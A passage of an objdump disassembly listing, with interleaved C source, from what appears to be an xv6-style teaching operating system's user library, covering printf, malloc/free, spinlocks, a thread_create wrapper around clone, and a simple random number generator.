char buf[16];
int i, neg;
uint x;
neg = 0;
182f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
1836: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
183a: 74 17 je 1853 <printint+0x2b>
183c: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
1840: 79 11 jns 1853 <printint+0x2b>
neg = 1;
1842: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
1849: 8b 45 0c mov 0xc(%ebp),%eax
184c: f7 d8 neg %eax
184e: 89 45 f4 mov %eax,-0xc(%ebp)
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
1851: eb 06 jmp 1859 <printint+0x31>
neg = 1;
x = -xx;
} else {
x = xx;
1853: 8b 45 0c mov 0xc(%ebp),%eax
1856: 89 45 f4 mov %eax,-0xc(%ebp)
}
i = 0;
1859: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
do{
buf[i++] = digits[x % base];
1860: 8b 4d ec mov -0x14(%ebp),%ecx
1863: 8b 5d 10 mov 0x10(%ebp),%ebx
1866: 8b 45 f4 mov -0xc(%ebp),%eax
1869: ba 00 00 00 00 mov $0x0,%edx
186e: f7 f3 div %ebx
1870: 89 d0 mov %edx,%eax
1872: 0f b6 80 a4 21 00 00 movzbl 0x21a4(%eax),%eax
1879: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
187d: 83 45 ec 01 addl $0x1,-0x14(%ebp)
}while((x /= base) != 0);
1881: 8b 45 10 mov 0x10(%ebp),%eax
1884: 89 45 d4 mov %eax,-0x2c(%ebp)
1887: 8b 45 f4 mov -0xc(%ebp),%eax
188a: ba 00 00 00 00 mov $0x0,%edx
188f: f7 75 d4 divl -0x2c(%ebp)
1892: 89 45 f4 mov %eax,-0xc(%ebp)
1895: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1899: 75 c5 jne 1860 <printint+0x38>
if(neg)
189b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
189f: 74 28 je 18c9 <printint+0xa1>
buf[i++] = '-';
18a1: 8b 45 ec mov -0x14(%ebp),%eax
18a4: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
18a9: 83 45 ec 01 addl $0x1,-0x14(%ebp)
while(--i >= 0)
18ad: eb 1a jmp 18c9 <printint+0xa1>
putc(fd, buf[i]);
18af: 8b 45 ec mov -0x14(%ebp),%eax
18b2: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax
18b7: 0f be c0 movsbl %al,%eax
18ba: 89 44 24 04 mov %eax,0x4(%esp)
18be: 8b 45 08 mov 0x8(%ebp),%eax
18c1: 89 04 24 mov %eax,(%esp)
18c4: e8 37 ff ff ff call 1800 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
18c9: 83 6d ec 01 subl $0x1,-0x14(%ebp)
18cd: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
18d1: 79 dc jns 18af <printint+0x87>
putc(fd, buf[i]);
}
18d3: 83 c4 44 add $0x44,%esp
18d6: 5b pop %ebx
18d7: 5d pop %ebp
18d8: c3 ret
000018d9 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
18d9: 55 push %ebp
18da: 89 e5 mov %esp,%ebp
18dc: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
18df: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
ap = (uint*)(void*)&fmt + 1;
18e6: 8d 45 0c lea 0xc(%ebp),%eax
18e9: 83 c0 04 add $0x4,%eax
18ec: 89 45 f4 mov %eax,-0xc(%ebp)
for(i = 0; fmt[i]; i++){
18ef: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
18f6: e9 7e 01 00 00 jmp 1a79 <printf+0x1a0>
c = fmt[i] & 0xff;
18fb: 8b 55 0c mov 0xc(%ebp),%edx
18fe: 8b 45 ec mov -0x14(%ebp),%eax
1901: 8d 04 02 lea (%edx,%eax,1),%eax
1904: 0f b6 00 movzbl (%eax),%eax
1907: 0f be c0 movsbl %al,%eax
190a: 25 ff 00 00 00 and $0xff,%eax
190f: 89 45 e8 mov %eax,-0x18(%ebp)
if(state == 0){
1912: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1916: 75 2c jne 1944 <printf+0x6b>
if(c == '%'){
1918: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
191c: 75 0c jne 192a <printf+0x51>
state = '%';
191e: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp)
1925: e9 4b 01 00 00 jmp 1a75 <printf+0x19c>
} else {
putc(fd, c);
192a: 8b 45 e8 mov -0x18(%ebp),%eax
192d: 0f be c0 movsbl %al,%eax
1930: 89 44 24 04 mov %eax,0x4(%esp)
1934: 8b 45 08 mov 0x8(%ebp),%eax
1937: 89 04 24 mov %eax,(%esp)
193a: e8 c1 fe ff ff call 1800 <putc>
193f: e9 31 01 00 00 jmp 1a75 <printf+0x19c>
}
} else if(state == '%'){
1944: 83 7d f0 25 cmpl $0x25,-0x10(%ebp)
1948: 0f 85 27 01 00 00 jne 1a75 <printf+0x19c>
if(c == 'd'){
194e: 83 7d e8 64 cmpl $0x64,-0x18(%ebp)
1952: 75 2d jne 1981 <printf+0xa8>
printint(fd, *ap, 10, 1);
1954: 8b 45 f4 mov -0xc(%ebp),%eax
1957: 8b 00 mov (%eax),%eax
1959: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
1960: 00
1961: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
1968: 00
1969: 89 44 24 04 mov %eax,0x4(%esp)
196d: 8b 45 08 mov 0x8(%ebp),%eax
1970: 89 04 24 mov %eax,(%esp)
1973: e8 b0 fe ff ff call 1828 <printint>
ap++;
1978: 83 45 f4 04 addl $0x4,-0xc(%ebp)
197c: e9 ed 00 00 00 jmp 1a6e <printf+0x195>
} else if(c == 'x' || c == 'p'){
1981: 83 7d e8 78 cmpl $0x78,-0x18(%ebp)
1985: 74 06 je 198d <printf+0xb4>
1987: 83 7d e8 70 cmpl $0x70,-0x18(%ebp)
198b: 75 2d jne 19ba <printf+0xe1>
printint(fd, *ap, 16, 0);
198d: 8b 45 f4 mov -0xc(%ebp),%eax
1990: 8b 00 mov (%eax),%eax
1992: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
1999: 00
199a: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
19a1: 00
19a2: 89 44 24 04 mov %eax,0x4(%esp)
19a6: 8b 45 08 mov 0x8(%ebp),%eax
19a9: 89 04 24 mov %eax,(%esp)
19ac: e8 77 fe ff ff call 1828 <printint>
ap++;
19b1: 83 45 f4 04 addl $0x4,-0xc(%ebp)
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
19b5: e9 b4 00 00 00 jmp 1a6e <printf+0x195>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
19ba: 83 7d e8 73 cmpl $0x73,-0x18(%ebp)
19be: 75 46 jne 1a06 <printf+0x12d>
s = (char*)*ap;
19c0: 8b 45 f4 mov -0xc(%ebp),%eax
19c3: 8b 00 mov (%eax),%eax
19c5: 89 45 e4 mov %eax,-0x1c(%ebp)
ap++;
19c8: 83 45 f4 04 addl $0x4,-0xc(%ebp)
if(s == 0)
19cc: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
19d0: 75 27 jne 19f9 <printf+0x120>
s = "(null)";
19d2: c7 45 e4 70 21 00 00 movl $0x2170,-0x1c(%ebp)
while(*s != 0){
19d9: eb 1f jmp 19fa <printf+0x121>
putc(fd, *s);
19db: 8b 45 e4 mov -0x1c(%ebp),%eax
19de: 0f b6 00 movzbl (%eax),%eax
19e1: 0f be c0 movsbl %al,%eax
19e4: 89 44 24 04 mov %eax,0x4(%esp)
19e8: 8b 45 08 mov 0x8(%ebp),%eax
19eb: 89 04 24 mov %eax,(%esp)
19ee: e8 0d fe ff ff call 1800 <putc>
s++;
19f3: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
19f7: eb 01 jmp 19fa <printf+0x121>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
19f9: 90 nop
19fa: 8b 45 e4 mov -0x1c(%ebp),%eax
19fd: 0f b6 00 movzbl (%eax),%eax
1a00: 84 c0 test %al,%al
1a02: 75 d7 jne 19db <printf+0x102>
1a04: eb 68 jmp 1a6e <printf+0x195>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
1a06: 83 7d e8 63 cmpl $0x63,-0x18(%ebp)
1a0a: 75 1d jne 1a29 <printf+0x150>
putc(fd, *ap);
1a0c: 8b 45 f4 mov -0xc(%ebp),%eax
1a0f: 8b 00 mov (%eax),%eax
1a11: 0f be c0 movsbl %al,%eax
1a14: 89 44 24 04 mov %eax,0x4(%esp)
1a18: 8b 45 08 mov 0x8(%ebp),%eax
1a1b: 89 04 24 mov %eax,(%esp)
1a1e: e8 dd fd ff ff call 1800 <putc>
ap++;
1a23: 83 45 f4 04 addl $0x4,-0xc(%ebp)
1a27: eb 45 jmp 1a6e <printf+0x195>
} else if(c == '%'){
1a29: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
1a2d: 75 17 jne 1a46 <printf+0x16d>
putc(fd, c);
1a2f: 8b 45 e8 mov -0x18(%ebp),%eax
1a32: 0f be c0 movsbl %al,%eax
1a35: 89 44 24 04 mov %eax,0x4(%esp)
1a39: 8b 45 08 mov 0x8(%ebp),%eax
1a3c: 89 04 24 mov %eax,(%esp)
1a3f: e8 bc fd ff ff call 1800 <putc>
1a44: eb 28 jmp 1a6e <printf+0x195>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
1a46: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
1a4d: 00
1a4e: 8b 45 08 mov 0x8(%ebp),%eax
1a51: 89 04 24 mov %eax,(%esp)
1a54: e8 a7 fd ff ff call 1800 <putc>
putc(fd, c);
1a59: 8b 45 e8 mov -0x18(%ebp),%eax
1a5c: 0f be c0 movsbl %al,%eax
1a5f: 89 44 24 04 mov %eax,0x4(%esp)
1a63: 8b 45 08 mov 0x8(%ebp),%eax
1a66: 89 04 24 mov %eax,(%esp)
1a69: e8 92 fd ff ff call 1800 <putc>
}
state = 0;
1a6e: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
1a75: 83 45 ec 01 addl $0x1,-0x14(%ebp)
1a79: 8b 55 0c mov 0xc(%ebp),%edx
1a7c: 8b 45 ec mov -0x14(%ebp),%eax
1a7f: 8d 04 02 lea (%edx,%eax,1),%eax
1a82: 0f b6 00 movzbl (%eax),%eax
1a85: 84 c0 test %al,%al
1a87: 0f 85 6e fe ff ff jne 18fb <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
1a8d: c9 leave
1a8e: c3 ret
1a8f: 90 nop
00001a90 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
1a90: 55 push %ebp
1a91: 89 e5 mov %esp,%ebp
1a93: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
1a96: 8b 45 08 mov 0x8(%ebp),%eax
1a99: 83 e8 08 sub $0x8,%eax
1a9c: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1a9f: a1 d0 21 00 00 mov 0x21d0,%eax
1aa4: 89 45 fc mov %eax,-0x4(%ebp)
1aa7: eb 24 jmp 1acd <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1aa9: 8b 45 fc mov -0x4(%ebp),%eax
1aac: 8b 00 mov (%eax),%eax
1aae: 3b 45 fc cmp -0x4(%ebp),%eax
1ab1: 77 12 ja 1ac5 <free+0x35>
1ab3: 8b 45 f8 mov -0x8(%ebp),%eax
1ab6: 3b 45 fc cmp -0x4(%ebp),%eax
1ab9: 77 24 ja 1adf <free+0x4f>
1abb: 8b 45 fc mov -0x4(%ebp),%eax
1abe: 8b 00 mov (%eax),%eax
1ac0: 3b 45 f8 cmp -0x8(%ebp),%eax
1ac3: 77 1a ja 1adf <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1ac5: 8b 45 fc mov -0x4(%ebp),%eax
1ac8: 8b 00 mov (%eax),%eax
1aca: 89 45 fc mov %eax,-0x4(%ebp)
1acd: 8b 45 f8 mov -0x8(%ebp),%eax
1ad0: 3b 45 fc cmp -0x4(%ebp),%eax
1ad3: 76 d4 jbe 1aa9 <free+0x19>
1ad5: 8b 45 fc mov -0x4(%ebp),%eax
1ad8: 8b 00 mov (%eax),%eax
1ada: 3b 45 f8 cmp -0x8(%ebp),%eax
1add: 76 ca jbe 1aa9 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
1adf: 8b 45 f8 mov -0x8(%ebp),%eax
1ae2: 8b 40 04 mov 0x4(%eax),%eax
1ae5: c1 e0 03 shl $0x3,%eax
1ae8: 89 c2 mov %eax,%edx
1aea: 03 55 f8 add -0x8(%ebp),%edx
1aed: 8b 45 fc mov -0x4(%ebp),%eax
1af0: 8b 00 mov (%eax),%eax
1af2: 39 c2 cmp %eax,%edx
1af4: 75 24 jne 1b1a <free+0x8a>
bp->s.size += p->s.ptr->s.size;
1af6: 8b 45 f8 mov -0x8(%ebp),%eax
1af9: 8b 50 04 mov 0x4(%eax),%edx
1afc: 8b 45 fc mov -0x4(%ebp),%eax
1aff: 8b 00 mov (%eax),%eax
1b01: 8b 40 04 mov 0x4(%eax),%eax
1b04: 01 c2 add %eax,%edx
1b06: 8b 45 f8 mov -0x8(%ebp),%eax
1b09: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
1b0c: 8b 45 fc mov -0x4(%ebp),%eax
1b0f: 8b 00 mov (%eax),%eax
1b11: 8b 10 mov (%eax),%edx
1b13: 8b 45 f8 mov -0x8(%ebp),%eax
1b16: 89 10 mov %edx,(%eax)
1b18: eb 0a jmp 1b24 <free+0x94>
} else
bp->s.ptr = p->s.ptr;
1b1a: 8b 45 fc mov -0x4(%ebp),%eax
1b1d: 8b 10 mov (%eax),%edx
1b1f: 8b 45 f8 mov -0x8(%ebp),%eax
1b22: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
1b24: 8b 45 fc mov -0x4(%ebp),%eax
1b27: 8b 40 04 mov 0x4(%eax),%eax
1b2a: c1 e0 03 shl $0x3,%eax
1b2d: 03 45 fc add -0x4(%ebp),%eax
1b30: 3b 45 f8 cmp -0x8(%ebp),%eax
1b33: 75 20 jne 1b55 <free+0xc5>
p->s.size += bp->s.size;
1b35: 8b 45 fc mov -0x4(%ebp),%eax
1b38: 8b 50 04 mov 0x4(%eax),%edx
1b3b: 8b 45 f8 mov -0x8(%ebp),%eax
1b3e: 8b 40 04 mov 0x4(%eax),%eax
1b41: 01 c2 add %eax,%edx
1b43: 8b 45 fc mov -0x4(%ebp),%eax
1b46: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
1b49: 8b 45 f8 mov -0x8(%ebp),%eax
1b4c: 8b 10 mov (%eax),%edx
1b4e: 8b 45 fc mov -0x4(%ebp),%eax
1b51: 89 10 mov %edx,(%eax)
1b53: eb 08 jmp 1b5d <free+0xcd>
} else
p->s.ptr = bp;
1b55: 8b 45 fc mov -0x4(%ebp),%eax
1b58: 8b 55 f8 mov -0x8(%ebp),%edx
1b5b: 89 10 mov %edx,(%eax)
freep = p;
1b5d: 8b 45 fc mov -0x4(%ebp),%eax
1b60: a3 d0 21 00 00 mov %eax,0x21d0
}
1b65: c9 leave
1b66: c3 ret
00001b67 <morecore>:
static Header*
morecore(uint nu)
{
1b67: 55 push %ebp
1b68: 89 e5 mov %esp,%ebp
1b6a: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
1b6d: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
1b74: 77 07 ja 1b7d <morecore+0x16>
nu = 4096;
1b76: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
1b7d: 8b 45 08 mov 0x8(%ebp),%eax
1b80: c1 e0 03 shl $0x3,%eax
1b83: 89 04 24 mov %eax,(%esp)
1b86: e8 35 fc ff ff call 17c0 <sbrk>
1b8b: 89 45 f0 mov %eax,-0x10(%ebp)
if(p == (char*)-1)
1b8e: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp)
1b92: 75 07 jne 1b9b <morecore+0x34>
return 0;
1b94: b8 00 00 00 00 mov $0x0,%eax
1b99: eb 22 jmp 1bbd <morecore+0x56>
hp = (Header*)p;
1b9b: 8b 45 f0 mov -0x10(%ebp),%eax
1b9e: 89 45 f4 mov %eax,-0xc(%ebp)
hp->s.size = nu;
1ba1: 8b 45 f4 mov -0xc(%ebp),%eax
1ba4: 8b 55 08 mov 0x8(%ebp),%edx
1ba7: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
1baa: 8b 45 f4 mov -0xc(%ebp),%eax
1bad: 83 c0 08 add $0x8,%eax
1bb0: 89 04 24 mov %eax,(%esp)
1bb3: e8 d8 fe ff ff call 1a90 <free>
return freep;
1bb8: a1 d0 21 00 00 mov 0x21d0,%eax
}
1bbd: c9 leave
1bbe: c3 ret
00001bbf <malloc>:
void*
malloc(uint nbytes)
{
1bbf: 55 push %ebp
1bc0: 89 e5 mov %esp,%ebp
1bc2: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1bc5: 8b 45 08 mov 0x8(%ebp),%eax
1bc8: 83 c0 07 add $0x7,%eax
1bcb: c1 e8 03 shr $0x3,%eax
1bce: 83 c0 01 add $0x1,%eax
1bd1: 89 45 f4 mov %eax,-0xc(%ebp)
if((prevp = freep) == 0){
1bd4: a1 d0 21 00 00 mov 0x21d0,%eax
1bd9: 89 45 f0 mov %eax,-0x10(%ebp)
1bdc: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1be0: 75 23 jne 1c05 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
1be2: c7 45 f0 c8 21 00 00 movl $0x21c8,-0x10(%ebp)
1be9: 8b 45 f0 mov -0x10(%ebp),%eax
1bec: a3 d0 21 00 00 mov %eax,0x21d0
1bf1: a1 d0 21 00 00 mov 0x21d0,%eax
1bf6: a3 c8 21 00 00 mov %eax,0x21c8
base.s.size = 0;
1bfb: c7 05 cc 21 00 00 00 movl $0x0,0x21cc
1c02: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1c05: 8b 45 f0 mov -0x10(%ebp),%eax
1c08: 8b 00 mov (%eax),%eax
1c0a: 89 45 ec mov %eax,-0x14(%ebp)
if(p->s.size >= nunits){
1c0d: 8b 45 ec mov -0x14(%ebp),%eax
1c10: 8b 40 04 mov 0x4(%eax),%eax
1c13: 3b 45 f4 cmp -0xc(%ebp),%eax
1c16: 72 4d jb 1c65 <malloc+0xa6>
if(p->s.size == nunits)
1c18: 8b 45 ec mov -0x14(%ebp),%eax
1c1b: 8b 40 04 mov 0x4(%eax),%eax
1c1e: 3b 45 f4 cmp -0xc(%ebp),%eax
1c21: 75 0c jne 1c2f <malloc+0x70>
prevp->s.ptr = p->s.ptr;
1c23: 8b 45 ec mov -0x14(%ebp),%eax
1c26: 8b 10 mov (%eax),%edx
1c28: 8b 45 f0 mov -0x10(%ebp),%eax
1c2b: 89 10 mov %edx,(%eax)
1c2d: eb 26 jmp 1c55 <malloc+0x96>
else {
p->s.size -= nunits;
1c2f: 8b 45 ec mov -0x14(%ebp),%eax
1c32: 8b 40 04 mov 0x4(%eax),%eax
1c35: 89 c2 mov %eax,%edx
1c37: 2b 55 f4 sub -0xc(%ebp),%edx
1c3a: 8b 45 ec mov -0x14(%ebp),%eax
1c3d: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
1c40: 8b 45 ec mov -0x14(%ebp),%eax
1c43: 8b 40 04 mov 0x4(%eax),%eax
1c46: c1 e0 03 shl $0x3,%eax
1c49: 01 45 ec add %eax,-0x14(%ebp)
p->s.size = nunits;
1c4c: 8b 45 ec mov -0x14(%ebp),%eax
1c4f: 8b 55 f4 mov -0xc(%ebp),%edx
1c52: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
1c55: 8b 45 f0 mov -0x10(%ebp),%eax
1c58: a3 d0 21 00 00 mov %eax,0x21d0
return (void*)(p + 1);
1c5d: 8b 45 ec mov -0x14(%ebp),%eax
1c60: 83 c0 08 add $0x8,%eax
1c63: eb 38 jmp 1c9d <malloc+0xde>
}
if(p == freep)
1c65: a1 d0 21 00 00 mov 0x21d0,%eax
1c6a: 39 45 ec cmp %eax,-0x14(%ebp)
1c6d: 75 1b jne 1c8a <malloc+0xcb>
if((p = morecore(nunits)) == 0)
1c6f: 8b 45 f4 mov -0xc(%ebp),%eax
1c72: 89 04 24 mov %eax,(%esp)
1c75: e8 ed fe ff ff call 1b67 <morecore>
1c7a: 89 45 ec mov %eax,-0x14(%ebp)
1c7d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1c81: 75 07 jne 1c8a <malloc+0xcb>
return 0;
1c83: b8 00 00 00 00 mov $0x0,%eax
1c88: eb 13 jmp 1c9d <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1c8a: 8b 45 ec mov -0x14(%ebp),%eax
1c8d: 89 45 f0 mov %eax,-0x10(%ebp)
1c90: 8b 45 ec mov -0x14(%ebp),%eax
1c93: 8b 00 mov (%eax),%eax
1c95: 89 45 ec mov %eax,-0x14(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
1c98: e9 70 ff ff ff jmp 1c0d <malloc+0x4e>
}
1c9d: c9 leave
1c9e: c3 ret
1c9f: 90 nop
00001ca0 <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
1ca0: 55 push %ebp
1ca1: 89 e5 mov %esp,%ebp
1ca3: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
1ca6: 8b 55 08 mov 0x8(%ebp),%edx
1ca9: 8b 45 0c mov 0xc(%ebp),%eax
1cac: 8b 4d 08 mov 0x8(%ebp),%ecx
1caf: f0 87 02 lock xchg %eax,(%edx)
1cb2: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
1cb5: 8b 45 fc mov -0x4(%ebp),%eax
}
1cb8: c9 leave
1cb9: c3 ret
00001cba <lock_init>:
#include "x86.h"
#include "proc.h"
unsigned long rands = 1;
void lock_init(lock_t *lock){
1cba: 55 push %ebp
1cbb: 89 e5 mov %esp,%ebp
lock->locked = 0;
1cbd: 8b 45 08 mov 0x8(%ebp),%eax
1cc0: c7 00 00 00 00 00 movl $0x0,(%eax)
}
1cc6: 5d pop %ebp
1cc7: c3 ret
00001cc8 <lock_acquire>:
void lock_acquire(lock_t *lock){
1cc8: 55 push %ebp
1cc9: 89 e5 mov %esp,%ebp
1ccb: 83 ec 08 sub $0x8,%esp
while(xchg(&lock->locked,1) != 0);
1cce: 8b 45 08 mov 0x8(%ebp),%eax
1cd1: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
1cd8: 00
1cd9: 89 04 24 mov %eax,(%esp)
1cdc: e8 bf ff ff ff call 1ca0 <xchg>
1ce1: 85 c0 test %eax,%eax
1ce3: 75 e9 jne 1cce <lock_acquire+0x6>
}
1ce5: c9 leave
1ce6: c3 ret
00001ce7 <lock_release>:
void lock_release(lock_t *lock){
1ce7: 55 push %ebp
1ce8: 89 e5 mov %esp,%ebp
1cea: 83 ec 08 sub $0x8,%esp
xchg(&lock->locked,0);
1ced: 8b 45 08 mov 0x8(%ebp),%eax
1cf0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1cf7: 00
1cf8: 89 04 24 mov %eax,(%esp)
1cfb: e8 a0 ff ff ff call 1ca0 <xchg>
}
1d00: c9 leave
1d01: c3 ret
00001d02 <thread_create>:
void *thread_create(void(*start_routine)(void*), void *arg){
1d02: 55 push %ebp
1d03: 89 e5 mov %esp,%ebp
1d05: 83 ec 28 sub $0x28,%esp
int tid;
void * stack = malloc(2 * 4096);
1d08: c7 04 24 00 20 00 00 movl $0x2000,(%esp)
1d0f: e8 ab fe ff ff call 1bbf <malloc>
1d14: 89 45 f0 mov %eax,-0x10(%ebp)
void *garbage_stack = stack;
1d17: 8b 45 f0 mov -0x10(%ebp),%eax
1d1a: 89 45 f4 mov %eax,-0xc(%ebp)
// printf(1,"start routine addr : %d\n",(uint)start_routine);
if((uint)stack % 4096){
1d1d: 8b 45 f0 mov -0x10(%ebp),%eax
1d20: 25 ff 0f 00 00 and $0xfff,%eax
1d25: 85 c0 test %eax,%eax
1d27: 74 15 je 1d3e <thread_create+0x3c>
stack = stack + (4096 - (uint)stack % 4096);
1d29: 8b 45 f0 mov -0x10(%ebp),%eax
1d2c: 89 c2 mov %eax,%edx
1d2e: 81 e2 ff 0f 00 00 and $0xfff,%edx
1d34: b8 00 10 00 00 mov $0x1000,%eax
1d39: 29 d0 sub %edx,%eax
1d3b: 01 45 f0 add %eax,-0x10(%ebp)
}
if (stack == 0){
1d3e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1d42: 75 1b jne 1d5f <thread_create+0x5d>
printf(1,"malloc fail \n");
1d44: c7 44 24 04 77 21 00 movl $0x2177,0x4(%esp)
1d4b: 00
1d4c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d53: e8 81 fb ff ff call 18d9 <printf>
return 0;
1d58: b8 00 00 00 00 mov $0x0,%eax
1d5d: eb 6f jmp 1dce <thread_create+0xcc>
}
tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg);
1d5f: 8b 4d 0c mov 0xc(%ebp),%ecx
1d62: 8b 55 08 mov 0x8(%ebp),%edx
1d65: 8b 45 f0 mov -0x10(%ebp),%eax
1d68: 89 4c 24 0c mov %ecx,0xc(%esp)
1d6c: 89 54 24 08 mov %edx,0x8(%esp)
1d70: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp)
1d77: 00
1d78: 89 04 24 mov %eax,(%esp)
1d7b: e8 58 fa ff ff call 17d8 <clone>
1d80: 89 45 ec mov %eax,-0x14(%ebp)
if(tid < 0){
1d83: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1d87: 79 1b jns 1da4 <thread_create+0xa2>
printf(1,"clone fails\n");
1d89: c7 44 24 04 85 21 00 movl $0x2185,0x4(%esp)
1d90: 00
1d91: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1d98: e8 3c fb ff ff call 18d9 <printf>
return 0;
1d9d: b8 00 00 00 00 mov $0x0,%eax
1da2: eb 2a jmp 1dce <thread_create+0xcc>
}
if(tid > 0){
1da4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1da8: 7e 05 jle 1daf <thread_create+0xad>
//store threads on thread table
return garbage_stack;
1daa: 8b 45 f4 mov -0xc(%ebp),%eax
1dad: eb 1f jmp 1dce <thread_create+0xcc>
}
if(tid == 0){
1daf: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1db3: 75 14 jne 1dc9 <thread_create+0xc7>
printf(1,"tid = 0 return \n");
1db5: c7 44 24 04 92 21 00 movl $0x2192,0x4(%esp)
1dbc: 00
1dbd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1dc4: e8 10 fb ff ff call 18d9 <printf>
}
// wait();
// free(garbage_stack);
return 0;
1dc9: b8 00 00 00 00 mov $0x0,%eax
}
1dce: c9 leave
1dcf: c3 ret
00001dd0 <random>:
// generate 0 -> max random number exclude max.
int random(int max){
1dd0: 55 push %ebp
1dd1: 89 e5 mov %esp,%ebp
rands = rands * 1664525 + 1013904233;
1dd3: a1 b8 21 00 00 mov 0x21b8,%eax
1dd8: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
1dde: 05 69 f3 6e 3c add $0x3c6ef369,%eax
1de3: a3 b8 21 00 00 mov %eax,0x21b8
return (int)(rands % max);
1de8: a1 b8 21 00 00 mov 0x21b8,%eax
1ded: 8b 4d 08 mov 0x8(%ebp),%ecx
1df0: ba 00 00 00 00 mov $0x0,%edx
1df5: f7 f1 div %ecx
1df7: 89 d0 mov %edx,%eax
}
1df9: 5d pop %ebp
1dfa: c3 ret
1dfb: 90 nop
00001dfc <init_q>:
#include "queue.h"
#include "types.h"
#include "user.h"
void init_q(struct queue *q){
1dfc: 55 push %ebp
1dfd: 89 e5 mov %esp,%ebp
q->size = 0;
1dff: 8b 45 08 mov 0x8(%ebp),%eax
1e02: c7 00 00 00 00 00 movl $0x0,(%eax)
q->head = 0;
1e08: 8b 45 08 mov 0x8(%ebp),%eax
1e0b: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
